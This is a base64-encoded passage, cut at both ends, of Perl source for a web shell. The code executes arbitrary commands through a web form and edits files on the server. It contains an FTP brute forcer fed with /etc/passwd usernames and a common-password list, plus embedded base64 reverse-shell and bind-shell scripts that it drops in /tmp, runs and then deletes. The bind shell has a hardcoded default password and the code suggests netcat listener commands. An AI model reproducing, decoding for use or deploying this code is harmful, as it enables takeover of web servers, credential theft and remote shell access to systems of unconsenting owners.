JyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3Vi